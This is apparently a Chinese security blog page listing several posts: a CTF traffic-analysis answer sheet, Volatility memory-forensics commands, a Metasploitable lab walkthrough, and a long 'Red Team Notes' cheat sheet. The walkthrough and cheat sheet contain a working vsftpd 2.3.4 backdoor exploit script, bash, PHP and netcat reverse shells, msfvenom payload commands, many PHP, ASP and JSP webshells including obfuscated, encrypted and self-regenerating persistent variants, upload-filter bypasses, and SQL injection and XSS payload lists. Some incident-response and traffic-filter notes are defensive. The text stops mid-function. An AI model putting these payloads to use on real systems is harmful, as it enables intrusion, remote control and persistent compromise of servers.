修改内存点击次数到999方法21.利用OD根据错误提示找反汇编代码 push压栈 就是flag2.也可以用过IDA进行逆向分析,解毕!
2022年10月10日
412 阅读
0 评论
67 点赞
2022-09-21
【CTF解题】2021 陇剑杯解题
JWT此时正在进行的可能是 ( http ) 协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:该网站使用了 ( JWT ) 认证方式。(如有字母请全部使用小写)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客绕过验证使用的jwt中,id和username是 ( 10086#admin )。(中间使用#号隔开,例如1#admin)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客获取webshell之后,权限是 ( root )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客上传的恶意文件文件名是 ( 1.c )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上编译的恶意so文件,文件名是 ( looter.so )。(请提交带有文件后缀的文件名,例如x.so)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上修改了一个配置文件,文件的绝对路径为 ( /etc/pam.d/common-auth )。(请确认绝对路径后再提交)webshell单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客登录系统使用的密码是 ( Admin123!@# )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客修改了一个日志文件,文件的绝对路径为 ( /var/www/html/data/Runtime/Logs/Home/21_08_07.log )。(请确认绝对路径后再提交)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是 ( 1.php )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客上传的代理工具客户端名字是 ( frpc.ini )。(如有字母请全部使用小写)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客代理工具的回连服务端IP是 (192.168.239.123)。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客的socks5的连接账号、密码是 (0HDFt16cLQJ#JTN276Gp)。(中间使用#号隔开,例如admin#passwd)。简单日志分析某应用程序被攻击,请分析日志后作答:黑客攻击的参数是 (user=)。(如有字母请全部使用小写)某应用程序被攻击,请分析日志后作答:黑客查看的秘密文件的绝对路径是 (/Th4s_IS_VERY_Import_Fi1e)。某应用程序被攻击,请分析日志后作答:黑客反弹shell的ip和端口是 (192.168.2.197:8888)。(格式使用“ip:端口",例如127.0.0.1:2333)日志分析单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是 (www.zip)。(请提交带有文件后缀的文件名,例如x.txt)单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客往/tmp目录写入一个文件,文件名为 (sess_car)。单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客使用的是 (SplFileObject) 类读取了秘密文件。SQL注入某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫 (布尔盲注)。(格式为4个汉字,例如“拼搏努力”)。黑客在注入过程中,最终获取flag的数据库名、表名和字段名是 (sqli#flag#flag)。(格式为“数据库名#表名#字段名”,例如database#table#column)
2022年09月21日
35 阅读
0 评论
6 点赞
2022-07-09
【每日随记】Volatility 常用命令
官方网址:https://www.volatilityfoundation.org/26参考文档:https://www.cnblogs.com/junglezt/p/16027761.html根据不同的操作系统选择下载。这里我选第4个下载,这是Volatility的源代码 。据我所知这个工具是用Python2编写的,只要有Python2的环境就可以正常运行。我一般都用这种,工具使用方法都是一样的,在终端上以命令行的方式执行。查看系统信息volatility -f 1.raw imageinfo // 查看镜像信息查看系统运行的进程volatility-f 1.raw --profile Win7SP1x64 pslist // 显示进程 volatility -f 1.raw --profile Win7SP1x64 psscan // 显示进程 volatility -f 1.raw --profile Win7SP1x64 psxview // 显示一些隐藏进程查看CMD调用进程volatility -f 1.raw --profile Win7SP1x64 cmdscan volatility -f 1.raw --profile Win7SP1x64 cmdline volatility -f 1.raw --profile Win7SP1x64 consoles查看IE浏览器历史记录volatility -f 1.raw --profile Win7SP1x64 iehistory通过关键字查找文件volatility -f 1.raw --profile Win7SP1x64 filescan | grep "txt" // 单搜索 volatility -f 1.raw --profile Win7SP1x64 filescan | grep "txt|.jpg" // 多搜索文件导出volatility -f 1.raw --profile Win7SP1x64 dumpfiles -Q 0x00000000022352c8 -D /home/kali/Desltop进程导出volatility -f 1.raw --profile Win7SP1x64 memdump -p 2716 -D /home/kali/Desltop 查看注册表配置单元volatility -f 1.raw --profile Win7SP1x64 hivelist查看编辑过的文本volatility -f 1.raw --profile Win7SP1x64 editbox导出注册表volatility -f 1.raw --profile Win7SP1x64 dumpregistry --dump-dir=./registry/导出进程程序volatility -f d3-win7-5f799647.vmem --profile Win7SP1x64 procdump -p 2544,2732 -D ./查看用户名volatility -f 1.raw --profile Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names"查看最后登录的用户volatility -f 1.raw --profile Win7SP1x64 printkey -K "SOFTWARE\Microsoft\Windows查看截图volatility -f 1.raw --profile Win7SP1x64 screenshot查看剪切板volatility -f 1.raw --profile Win7SP1x64 clipboard查看环境变量volatility -f 1.raw --profile Win7SP1x64 envars查看进程权限volatility -f 1.raw --profile Win7SP1x64 privs计算用户哈希值volatility -f 1.raw --profile Win7SP1x64 hashdump查看用户强密码volatility -f 1.raw --profile Win7SP1x64 lsadump 查看服务volatility -f 1.raw --profile Win7SP1x64 svcscan
2022年07月09日
135 阅读
0 评论
22 点赞
2022-02-26
【技术分享】Metasploitable 靶机漏洞复现
留言这里我就用kali进行操作,用什么操作系统渗透都是可以的,不要让系统限制了你发挥的能力,这里我用kali因为工具都是跟随系统的,不用自己安装比较方便点,有人就说脚本小子那我就想知道,你写的也是脚本有力气写脚本,还不如用别人写好的。浪费时间,难道说你写的脚本,比那些专业人士写的还要厉害? 不也就是重复造轮子,自己会写肯定好,还是要学会利用现有资源,重在思路。靶机介绍Metasploitable是一个虚拟靶机系统镜像,里面含有大量未被修复的安全漏洞,是主要用于MSF渗透测试的目标。它是基于Ubuntu的Linux虚拟机,兼容Vmware、VirtualBox等虚拟机系统。Metasploitable 靶场下载BEESCMS漏洞这个靶机是期末考试用到的,默认账号密码都是msfadmin,考试可没那么简单,已经把这个靶机默认的登录账号密码给改了,需要自己在上面找漏洞,这种靶机在网上其实有很多教程,这里我按照自己的思路再走一遍。1.先用arp-scan扫一遍自身网段的主机,这种方式用的是arp扫描,比ping好多了如果对方开了防火墙ping就凉凉,arp扫描屡试不爽。arp-scan -l // 扫描当前内网主机2.出结果了,是这个地址192.168.25.132,再进行nmap进行扫描下参数不过多解释可以自行研究,信息搜集完毕开始进行分析了,看到系统开了这么多个端口,每个端口都可以试试有对应的服务名称,可百度查阅是否有漏洞。nmap -T4 -sV 192.168.25.132 -p- > info.txt // 扫描并保存结果到文本3.考试的时候做的是这个web上的,考试流程是这样的:{timeline}{timeline-item color="#19be6b"}找到靶机ip地址和web网站(端口随机生成的){/timeline-item}{timeline-item color="#ed4014"}网站上找到后台登录界面{/timeline-item}{timeline-item color="#ed4014"}爆破后台账号密码(后台登录存在sql注入的){/timeline-item}{timeline-item color="#ed4014"}通过后台上传一句话木马{/timeline-item}{timeline-item color="#19be6b"}最终将系统提权(整体流程就是这么简单){/timeline-item}{/timeline}4.扫描下网站目录dirb http://192.168.25.132:41083/这个网址有点可疑,manage是管理的意思,到浏览器访问看下。5.找到了这里其实存在sql注入的,但考试要求进行爆破,用burpsuite抓包进行登录爆破,这里有点多余了,我已经知道账号密码了,admin和1234qwer 就直接就跳过。6.生成一句话木马,直接把一句话木马后缀,改成图片格式也是可以的,这里为了让它更像一张图片,直接在图片内嵌入了一句话,并不影响图片的显示。copy /b 图片路径 + 一句话木马路径 生成的名称 echo "<?php eval(@$_POST['cmd']);" >> 1.php// 一句话木马 <?php eval(@$_POST['cmd']);7.这里我就不用burpsuite,我安装的kali没带懒得安装,这里我就用Fiddler了,上传的时候拦截并把图片格式改为php修改绕过前端规则就行,这样一句话木马就到服务器里了,直接用菜刀或蚂剑连接就行了。8.连接成功,查看下权限不是root权限,开始提权下载提权源码。https://www.exploit-db.com/download/8572待更新...SQL注入1.找到登录后台在账号框输入单引号,随便输入一个密码再加验证码,点击登录。2.就会发现sql语法错误,这就是存在sql注入,经过测试发现只有账号那里存在sql注入。' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#3.经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替。端口漏洞FTP登录密码已知,自己生成字典。账号密码useruserpostgrespostgresserviceservice21 22 23端口msfconsole -q # 启动msf search vsftpd_234 # 搜索21端口漏洞 use 0 # 选择漏洞序号 set rhosts 192.168.213.143 # 设置目标ip run # 执行CVE-2011-2523#!/usr/bin/python3 # CVE : CVE-2011-2523 # vsftp2.3.4 21端口笑脸漏洞 from telnetlib import Telnet import argparse import re from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): print(' [+]Exiting...') exit(0) signal(SIGINT, handler) def main(): parser = argparse.ArgumentParser() parser.add_argument("host", help="input the host", type=str) args = parser.parse_args() host = args.host portFTP = 21 user = "USER nergal:)" password = "PASS pass" try: with Telnet(host, portFTP) as tn: tn.read_until(b"(vsFTPd 2.3.4)") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") tn.write(password.encode('ascii') + b"\n") with Telnet(host, 6200) as tn2: tn2.read_until(b"exit\n", timeout=1) tn2.write(b'python -c "import pty; pty.spawn(\'/bin/bash\')"\n') tn2.interact() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()使用工具:hydra 暴力破解工具hydra -L user.txt -P pass.txt ftp://192.168.25.132 # ftp hydra -L user.txt -P pass.txt 192.168.25.132 ssh # ssh21、22、23 端口存在弱口令。80端口search php_cgi use 0 set rhost 192.168.72.134 run111端口search sunrpc_portmapper use 0 set rhost 192.168.213.143 run1099端口search java_rmi_server use 0 set rhost 192.168.213.143 run1524端口telnet 192.168.72.1343632端口search distcc_exec set payload payload/cmd/unix/bind_perl use 0 run6667 6697端口search ircd_3281_backdoor use 0 set payload cmd/unix/bind_perl # 选择payload set rhost 192.168.213.143 run1524端口利用telnet、nc连接1524端口3306端口mysql -h 192.168.56.129 -u rootmysql密码存在弱口令5900端口vncviewer 192.168.56.129 // 弱密码 password5900端口存在密码弱口令5432端口psql -h 192.168.56.129 -U postres // 弱密码 postres5432端口存在密码弱口令
2022年02月26日
68 阅读
0 评论
5 点赞
2022-02-04
【技术分享】Red Team Notes
信息收集nmap -T4 -sS -Sv 192.168.1.100 -p- # 多线程端口扫描 dirb http://192.168.1.100 # 单线程目录扫描 dirb http://192.168.1.100 -X ".tar, .zip" -t 10 # 多线程目录文件扫描 curl -X 36.6.144.192:8089 http://www.baidu.com # 代理访问 goby fofa hunter # 简单的信息收集编码加解echo "actdream" | md5sum # 将字符串 "actdream" 转换为 MD5 哈希值 echo "actdream" | base64 # 将字符串 "actdream" 转换为 Base64 编码 echo "YWN0ZHJLYWOK" | base64 -d # 将 Base64 编码 "YWN0ZHJLYWOK" 解码 echo "%20%30%35" | xargs -d% echo # 将 URL 编码 "%20%30%35" 解码 cat 1.txt | xargs -d% echo # 处理包含多个 URL 编码的文本文件 hexdump -C 1.png # 查看图片文件 "1.png" 的十六进制表示 cat 1.txt | hexdump -ve '1/1 "%.2X"' # 将文本文件 "1.txt" 转换成十六进制格式输出字符匹配strings filepath | grep -E "flag1|flag2" # 多字符匹配,匹配包含"flag1"或"flag2"的字符串 ps aux | grep 'root.* ./a.out$' # 使用正则匹配,从头到尾匹配字符串 find / -name flag* # 匹配前缀为"flag"的文件或目录 (\d{1,3}\.){3}\d{1,3} # 匹配ip地址文件权限chmod +x filename # 给予文件可执行权限 chmod +r filename # 给予文件可读权限 chmod +w filename # 给予文件可写权限 chmod 755 filename # 给予执行、读权限,同时取消写权限 chmod 700 filename # 给予执行、读、写权限 chmod 777 filename # 给予最高权限 chmod 000 filename # 给予全部无权限 chmod -x filename # 取消文件可执行权限 chmod 6 filename # 给予可读、可写权限(去除文件小锁)压缩包破解zip2john flag.zip > 1.txt # 提取 zip 压缩包的哈希值 rar2john flag.zip > 1.txt # 提取 rar 压缩包的哈希值 john 1.txt # 使用 John the Ripper 计算压缩包的密码 john 1.txt --wordlist=dict.txt # 使用指定字典文件破解哈希值 crunch 4 4 0123456789 -o 1.txt # 生成四位数密码组合,保存到 1.txt木马wf绕过copy /b 1.jpg + 1.php 2.jpg # 复制并插入文件 echo "<?php eval(\$_POST['c']); ?>" >> 1.png # 在 PNG 文件末尾追加 PHP 代码执行 <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?> # 写入一句话木马到 shell.php # REQUEST 提交支持 post get <?php system($_REQUEST["cmd"]); ?> # 使用系统命令执行 # ASP 一句话 <% eval request("cmd") %> # 使用 ASP 代码执行命令 # JSP 一句话 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> # 使用 JSP 执行命令 # base64 编码 system <?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?> # base64 解码并执行命令 # 字符拼接 <?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['a']); # 拼接函数名并执行 <?php $str="a=eval"; parse_str($str); $a($_POST['a']); # 使用字符串拼接函数名 <?php $a = "eval"; $a(@$_POST['a']); # 使用字符串赋值函数名 ?>/* eval - 可利用执行系统命令 system() - 执行系统命令 passthru() - 执行系统命令并输出结果 exec() - 执行系统命令并返回结果 shell_exec() - 执行系统命令并返回结果 popen() - 打开一个进程来执行系统命令 proc_open() - 执行系统命令并返回进程资源 */反弹Shell<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data); # 将二进制文件转换为十六进制 <?php $res_data = hex2bin('hex'); file_put_contents('1.exe', $res_data); # 还原为二进制程序 data = bytes.fromhex(open('1.hex', 'r').read()) # Python3 读取16进制数据 open('output', 'wb').write(data) # 还原为二进制可执行文件 weevely generate 208 1.php # 生成木马 weevely url password # 连接木马 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 # bash 反弹shell <?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>"; # 使用GET请求执行shell命令 <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'"); # PHP反弹shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe # 生成Windows木马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf # 生成Linux木马 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php # 生成PHP木马 # msfconsole msfconsole -q # 启动metasploit框架 use exploit/multi/handler # 创建监听器 set payload php/meterpreter/reverse_tcp # 设置PHP payload set payload linux/x64/meterpreter/reverse_tcp # 设置Linux payload set payload windows/meterpreter_reverse_tcp # 设置Windows payload set lhost 192.168.213.141 # 设置反弹主机 set lport 4444 # 设置监听端口 show options # 查看选项 run # 启动监听 getsystem # Windows提权 nc -lvp 888 # 使用netcat监听端口 bash -i >& /dev/tcp/192.168.213.141/888 0 >&1 python -c 'import pty; pty.spawn("/bin/bash")' # 启动新的bash来增强交互 nc -lvp 888 > 1.txt # 接收文件 nc 192.168.213.133 888 < 1.txt # 传输文件 nc -e cmd 192.168.100.129 4444 # Windows 反弹shell nc -e /bin/bash 192.168.100.129 4444 # Linux 反弹shell nc -lvp 4444 # 接收反弹shell python3 -m http.server 80 # 启动Python HTTP服务(用于下载文件) php -S 192.168.213.132:80 # 启动PHP HTTP服务(用于下载文件) cat data.json | python -m json.tool # JSON格式化转换上传漏洞// 白名单绕过: X-Forwarded-For: 127.0.0.1 # 伪装请求源ip // 双后缀名绕过:xxx.phpphp MIME绕过:image/jpg // 空格绕过:xxx.jpg空格 .htaccess绕过:AddType application/x-httpd-php .jpg // 大小写绕过:phP PHP Php .user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg // 文件头绕过:GIF89a 89504E47 FFD8FF 后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml <scrip language="php">@eval($_POST['c']);<script> <?php eval($_POST['sh']); <? eval($_POST['sh']); # 去php头绕过 // 可利用执行函数 eval() system() exec() shell_exec() //(反引号也可以) passthru() pcntl_exec() popen() proc_open() create_function()SQL注入语句sqlmap -r 1.txt -dbs -batch sqlmap -r 1.txt -D test -tables -batch sqlmap -r 1.txt -D test -T note -columns -batch sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具 sqlmap -m 1.txt --batch # 批量注入 1' or '1' = '1 # 字符型绕过 0' union select 1,2,3 --+ 0' union select 1,version(), database() #堆叠注入 1'; show databases;# 显示数据库 1'; show tables;# 查看表名 1'; show columns from note# 查看表字段 id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段 id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段 id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容代码加固$str = "Is your name O'reilly?"; echo addslashes($str); // 简单加反斜杠 // 输出结果:Is your name O\'reilly? $str = "Is y\our name O\\'reilly\\\?"; echo stripslashes($str); // 简单去除反斜杠 // 输出结果:Is your name O'reilly\? $str = "<script>alert('test')</script>"; echo htmlspecialchars($str); // XSS 简单防御 // 输出结果:<script>alert('test')</script> $str = "select * from users where user_id =1' and 1=1 #"; echo addslashes($str); // SQL注入简单防御 // 输出结果:select * from users where user_id =1\' and 1=1 #系统排查eventvwr.msc # 事件查看器,查看登录、注销、错误等事件 4624 登录成功 4625 登录失败 4634 注销成功 4647 用户启动注销 4672 使用管理员进行登录 4720 创建用户 # 文件时间排序排查,文件名称可疑排查 %UserProfile%\Recent # 最近操作 %temp% # 临时缓存 %appdata% # 应用数据目录 gpedit.msc # 组策略 systeminfo # 系统信息 services.msc # 应用服务 netstat -ano | findstr ES # 排查可疑网络连接 net user # 查看本地用户 net user Guest # 查看用户详细信息 lusrmgr.msc # 本地用户组 regedit # 注册表 msconfig # 打开启动项 taskschd.msc # 任务计划 # Linux 命令 /var/log/cron # 系统定时任务相关日志 /etc/rc.local /var/log/dmesg # 开机自检信息 /var/log/lastlog # 最后一次登录日志 /var/log/auth.log # 记录验证和授权 如SSH登录、su切换用户、sudo授权 /etc/crontab # 启动项 /etc/profile # 环境变量 cat /etc/passwd # 查看用户是否有可疑 cat /etc/passwd | grep x:0 # 新增的就可能存在 cat /etc/passwd | grep /bin/bash # 查看使用shell的用户 ls -l /proc/XXX/XXXX # 查看对应文件路径 ps –aux | grep pid # 查看pid对应的程序 top -p pid # 监控指定进程 userdel -r xp # 删除用户 并将/home目录下的user目录一并删除 grep -o "Failed password" /var/log/secure|uniq -c # 查看登录失败次数 history # 查看终端命令历史命令 stat /etc/passwd # 查看文件近期修改 ls -lt --time=ctime # 查看最近被修改过的文件 ls -lt --time=ctime /home/kali # 指定文件路径 crontab -l # 查看启动项 creontab -e # 编辑启动项 uname -r # 查看内核版本 rpm -qa | grep apache # 查看是否有这样的软件 ps -ef | grep apache # 查询apache 进程 service httpd restart # 重启httpd firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放80端口 firewall-cmd --reload # 重启防火墙 firewall-cmd --list-ports # 显示运行通过端口 rpm -qa # 查询软件包 service mariadb status # 查看服务状态 service mariadb start # 启动服务 service mariadb restart # 重启服务 rpm -e openssh-server # 删除软件文件包含?file=data://text/plain,<?php system('ls'); // 使用PHP系统命令来列出文件列表 ?file=data://text/plain,<?php system('tac flag.php'); # 查看文件内容 ?file=data://text/plain,<?=system('tac flag*'); // 绕过后缀过滤查看所有以flag开头的文件内容 ?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo(); // 访问日志和文件列表操作 ?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo(); // 查看 /var/www/html/fl0g.php 文件内容 程序特征码易语言按钮征码: 查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。 FF 55 FC 5F 5E MFC类程序: 运行程序然后就 CTRL+F,查找特征代码: sub eax,0a 断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件) (或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点) Delphi BC++程序: 740E8BD38B83????????FF93???????? 万能断点: OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。 F3A58BC883E103F3A4E8 条件断点: [ebp-4]!=0x4010AC 总结: MFC: sub eax,0a VC++6.0: sub eax,0a VB语言: 81 6C 24 易语言: FF 55 FC 5F 5E 或 (e-debug) 万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断) Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 蓝屏保护特征码: 55 8B EC BB 06 00 00 00 蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00 API函数断点追数据,比如断点 MessageBoxA 断下来了, 就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。{collapse}{collapse-item label="目录字典" close}.git .git/HEAD .git/index .git/config .git/description source source.php .idea/workspace.xml source.php.bak .source.php.bak source.php.swp README.MD README.md README .gitignore /db/db.mdb .svn .svn/wc.db .svn/entries user.php.bak .hg .DS_store WEB-INF/web.xml WEB-INF/src/ WEB-INF/classes WEB-INF/lib WEB-INF/database.propertie CVS/Root CVS/Entries .bzr/ %3f %3f~ .%3f.swp .%3f.swo .%3f.swn .%3f.swm .%3f.swl _viminfo .viminfo %3f~ %3f~1~ %3f~2~ %3f~3~ %3f.save %3f.save1 %3f.save2 %3f.save3 %3f.bak_Edietplus %3f.bak %3f.back phpinfo.php robots.txt .htaccess .bash_history .svn/ .git/ .index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.phps index.php.rar index.php.zip index.php.7z index.php.tar.gz index.php.txt login.php register register.php test.php upload.php phpinfo.php t.php www.zip www.rar www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar plus qq.txt log.txt wwwroot.rar web.rar dede admin edit Fckeditor ewebeditor bbs Editor manage shopadmin web_Fckeditor login webadmin admin/WebEditor admin/daili/webedit login/ database/ tmp/ manager/ manage/ web/ admin/ shopadmin/ wp-includes/ edit/ editor/ user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ upload/ uploads/ download/ downloads/ manager/ root.zip root.rar wwwroot.zip wwwroot.rar backup.zip backup.rar .svn/entries .git/config .ds_store flag.php fl4g.php f1ag.php f14g.php admin.php 4dmin.php adm1n.php 4dm1n.php admin1.php admin2.php adminlogin.php administrator.php login.php register.php upload.php home.php log.php logs.php config.php member.php user.php users.php robots.php info.php phpinfo.php backdoor.php fm.php example.php mysql.bak a.sql b.sql db.sql bdb.sql ddb.sql users.sql mysql.sql dump.sql data.sql backup.sql backup.sql.gz backup.sql.bz2 backup.zip rss.xml crossdomain.xml 1.txt flag.txt /wp-config.php /configuration.php /sites/default/settings.php /config.php /config.inc.php /conf/_basic_config.php /config/site.php /system/config/default.php /framework/conf/config.php /mysite/_config.php /typo3conf/localconf.php /config/config_global.php /config/config_ucenter.php /lib /data/config.php /data/config.inc.php /includes/config.php /data/common.inc.php /caches/configs/database.php /caches/configs/system.php /include/config.inc.php /phpsso_server/caches/configs/database.php /phpsso_server/caches/configs/system.php 404.php index.html user/ users/ admin/ home/ test/ administrator/ houtai/ backdoor/ flag/ uploads/ download/ downloads/ manager/ phpmyadmin/ phpMyAdmin/{/collapse-item}{/collapse}XSS语句<script>alert(1);</script> <!-- 基本XSS漏洞 --> <body onscroll=alert("xss");> <!-- 滚动时触发XSS --> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 --> <body/onload=alert("xss");> <!-- 页面加载时触发XSS --> <audio src=x onerror=alert("xss");> <!-- 音频错误时触发XSS --> <video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS --> <iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS --> <svg onload=alert("xss");> <!-- SVG加载时触发XSS --> <details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS --> <input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS --> <scirpt>alert("xss");</script> <!-- 脚本标签 --> <textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 --> <a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS --> <a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格 <ImG sRc=x onerRor=alert("xss");> # 大小写绕过 <imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过 <img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接 <!-- Unicode编码绕过 --> <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <!-- url编码绕过 --> <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <!-- ascii码绕过 --> <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> <!-- hex绕过 --> <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> <!-- 八进制绕过 --> <img src=x onerror=alert('\170\163\163')> <!-- base64绕过 --> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <!-- 十进制IP --> <img src="x" onerror=document.location=`http://2130706433/`> <!-- 八进制IP --> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <!-- 十六进制 --> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>流量过滤ftp http arp udp telnet smtp username password flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg 666c6167 f JFIF # 关键字文件搜索 nbns # 查找主机名称 http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt ftp contains "USER" and ftp contains "PASS" # 查找账号密码 http contains "uname" # 查看内核版本 http contains "www-data" or http contains "root" # 查看shell连接后权限 http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin tcp.connection.syn # 查看tcp第一次访问 ftp contains "USER" # 过滤FTP账号 http contains "404" # 搜索被爆破哪些目录 tcp.flags.syn==1 # 查看被扫描了哪些端口 tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放 http.request.method == POST or http contains "submit" # 查找表单关键字 http.response.code==200 and http contains "database" # 查看数据库请求成功后 http contains ".log" # 查看存在日志关键字 http contains "<?php eval" http contains "<?php @eval" # 过滤内容存在一句话木马 http.request.uri contains "shell.php" # 过滤url存在敏感文件 ip.port == 3306 and http contains "version=" # mysql版本 http contains "whoami" or http contains "ls" # 查看被入侵后 http contains "acunetix" # 搜索扫描工具特征 一般扫描工具:Awvs, Netsparker, Appscan, Webinspect, Rsas, Nessus, WebReaver, Sqlmap不死马<?php // 忽略用户断开请求,保证脚本持续运行 ignore_user_abort(true); // 设置脚本执行时间无限制 set_time_limit(0); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 定义新的shell.php文件名 $file = 'shell.php'; // 编写webshell代码,包含密码验证和命令执行 $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; // 无限循环生成shell.php文件 while (1) { // 写入webshell代码到文件 file_put_contents($file, $code); // 修改文件修改时间,防止被删除 system('touch -m -d "2020-12-01 09:10:12" shell.php'); // 每隔5秒执行一次 usleep(5000); } ?> // passwd=AabyssTeam // POST传参:passwd=AabyssTeam&cmd=system('ls');<?php // 设置脚本执行时间无限制 set_time_limit(0); // 忽略用户断开请求,脚本将后台运行 ignore_user_abort(1); // 删除当前脚本自身,防止重复执行 unlink(__FILE__); // 无限循环生成shell.php文件 while(1) { // 创建shell.php文件并写入简单的webshell代码 file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>'); // 间隔时间,防止过于频繁 sleep(0); } ?>Linux信息收集// 检查系统发行版本信息 cat /etc/issue // 显示系统发行信息 cat /etc/*-release // 显示系统发行版本 cat /etc/lsb-release // 显示 LSB (Linux Standard Base) 发行版本 cat /etc/redhat-release // 显示 Red Hat 发行版本DES Webshell<?php $a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数 $key = 'qaswedfr'; // 加密密钥 $decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据 $flag = ""; // 存储解密后的数据 // 对每个解密后的字符使用异或运算处理 for($i=0; $i<strlen($decryptedData); $i++){ $test = $decryptedData[$i]; $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符 echo "<br />"; } echo $flag; // 输出解密后的数据 system($flag); // 执行解密后的命令 ?><?php // 定义解密函数 function iJG($BHM) { $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩 for($i=0; $i<strlen($BHM); $i++) { $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1 } return $BHM; } // 